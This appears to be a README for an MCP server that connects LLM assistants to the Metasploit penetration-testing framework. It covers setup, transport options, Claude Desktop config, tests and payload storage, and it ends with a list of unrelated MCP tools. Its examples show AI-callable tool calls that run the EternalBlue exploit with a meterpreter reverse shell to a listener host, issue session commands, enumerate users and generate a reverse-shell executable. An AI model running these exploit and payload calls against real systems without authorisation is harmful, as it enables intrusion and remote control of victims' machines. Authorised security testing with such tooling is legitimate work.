An MCP server for integrating with the Metasploit Framework, enabling payload generation and management.
A Model Context Protocol (MCP) server for Metasploit Framework integration.
https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1
This MCP server provides a bridge between large language models like Claude and the Metasploit Framework penetration testing platform. It allows AI assistants to dynamically access and control Metasploit functionality through standardized tools, enabling a natural language interface to complex security testing workflows.
pip install -r requirements.txt
MSF_PASSWORD=yourpassword
MSF_SERVER=127.0.0.1
MSF_PORT=55553
MSF_SSL=false
PAYLOAD_SAVE_DIR=/path/to/save/payloads # Optional: Where to save generated payloads
Start the Metasploit RPC service:
msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553
The server supports two transport methods:
You can explicitly select the transport mode using the --transport
flag:
# Run with HTTP/SSE transport (default)
python MetasploitMCP.py --transport http
# Run with STDIO transport
python MetasploitMCP.py --transport stdio
Additional options for HTTP mode:
python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
For Claude Desktop integration, configure claude_desktop_config.json
:
{
"mcpServers": {
"metasploit": {
"command": "uv",
"args": [
"--directory",
"C:\\path\\to\\MetasploitMCP",
"run",
"MetasploitMCP.py",
"--transport",
"stdio"
],
"env": {
"MSF_PASSWORD": "yourpassword"
}
}
}
}
For other MCP clients that use HTTP/SSE:
Start the server in HTTP mode:
python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
Configure your MCP client to connect to:
http://your-server-ip:8085/sse
⚠️ IMPORTANT SECURITY WARNING:
This tool provides direct access to Metasploit Framework capabilities, which include powerful exploitation features. Use responsibly and only in environments where you have explicit permission to perform security testing.
list_exploits("ms17_010")
run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})
list_active_sessions()
send_session_command(1, "whoami")
run_post_module("windows/gather/enum_logged_on_users", 1)
send_session_command(1, "sysinfo")
terminate_session(1)
start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)
list_listeners()
generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})
stop_job(1)
This project includes comprehensive unit and integration tests to ensure reliability and maintainability.
Install test dependencies:
pip install -r requirements-test.txt
Or use the convenient installer:
python run_tests.py --install-deps
# OR
make install-deps
# Run all tests
python run_tests.py --all
# OR
make test
# Run with coverage report
python run_tests.py --all --coverage
# OR
make coverage
# Run with HTML coverage report
python run_tests.py --all --coverage --html
# OR
make coverage-html
# Unit tests only
python run_tests.py --unit
# OR
make test-unit
# Integration tests only
python run_tests.py --integration
# OR
make test-integration
# Options parsing tests
python run_tests.py --options
# OR
make test-options
# Helper function tests
python run_tests.py --helpers
# OR
make test-helpers
# MCP tools tests
python run_tests.py --tools
# OR
make test-tools
# Include slow tests
python run_tests.py --all --slow
# Include network tests (requires actual network)
python run_tests.py --all --network
# Verbose output
python run_tests.py --all --verbose
# Quick test (no coverage, fail fast)
make quick-test
# Debug mode (detailed failure info)
make test-debug
tests/test_options_parsing.py
: Unit tests for the graceful options parsing functionalitytests/test_helpers.py
: Unit tests for internal helper functions and MSF client managementtests/test_tools_integration.py
: Integration tests for all MCP tools with mocked Metasploit backendconftest.py
: Shared test fixtures and configurationpytest.ini
: Pytest configuration with coverage settingsAfter running tests with coverage, reports are available in:
htmlcov/index.html
(when using --html
option)For continuous integration:
# CI-friendly test command
make ci-test
# OR
python run_tests.py --all --coverage --verbose
By default, payloads generated with generate_payload
are saved to a payloads
directory in your home folder (~/payloads
or C:\Users\YourUsername\payloads
). You can customize this location by setting the PAYLOAD_SAVE_DIR
environment variable.
Setting the environment variable:
Windows (PowerShell):
$env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"
Windows (Command Prompt):
set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads
Linux/macOS:
export PAYLOAD_SAVE_DIR=/custom/path/to/payloads
In Claude Desktop config:
"env": {
"MSF_PASSWORD": "yourpassword",
"PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads" // Only add if you want to override the default
}
Note: If you specify a custom path, make sure it exists or the application has permission to create it. If the path is invalid, payload generation might fail.
Apache 2.0
A tool to provide Large Language Models with project context by intelligently filtering and concatenating relevant files.
Generates AI images and videos using the GPT4O Image Generator API.
Programmatically access and parse NOAA Electronic Navigational Charts (ENC) in S-57 format.
Retrieve README files and package information from CocoaPods.
Interact with the Futarchy protocol on the Solana blockchain.
Connects Blender to Claude AI via the Model Context Protocol (MCP), enabling direct AI interaction for prompt-assisted 3D modeling, scene creation, and manipulation.
Interact with the Lean theorem prover via the Language Server Protocol (LSP), enabling LLM agents to understand, analyze, and modify Lean projects.
Provides code context from local git repositories.
Provides local access to Cursor chat history for AI analysis and insights, with no external services or API keys required.
A code sandbox for AI assistants to safely execute arbitrary code. Requires a 302AI API key for authentication.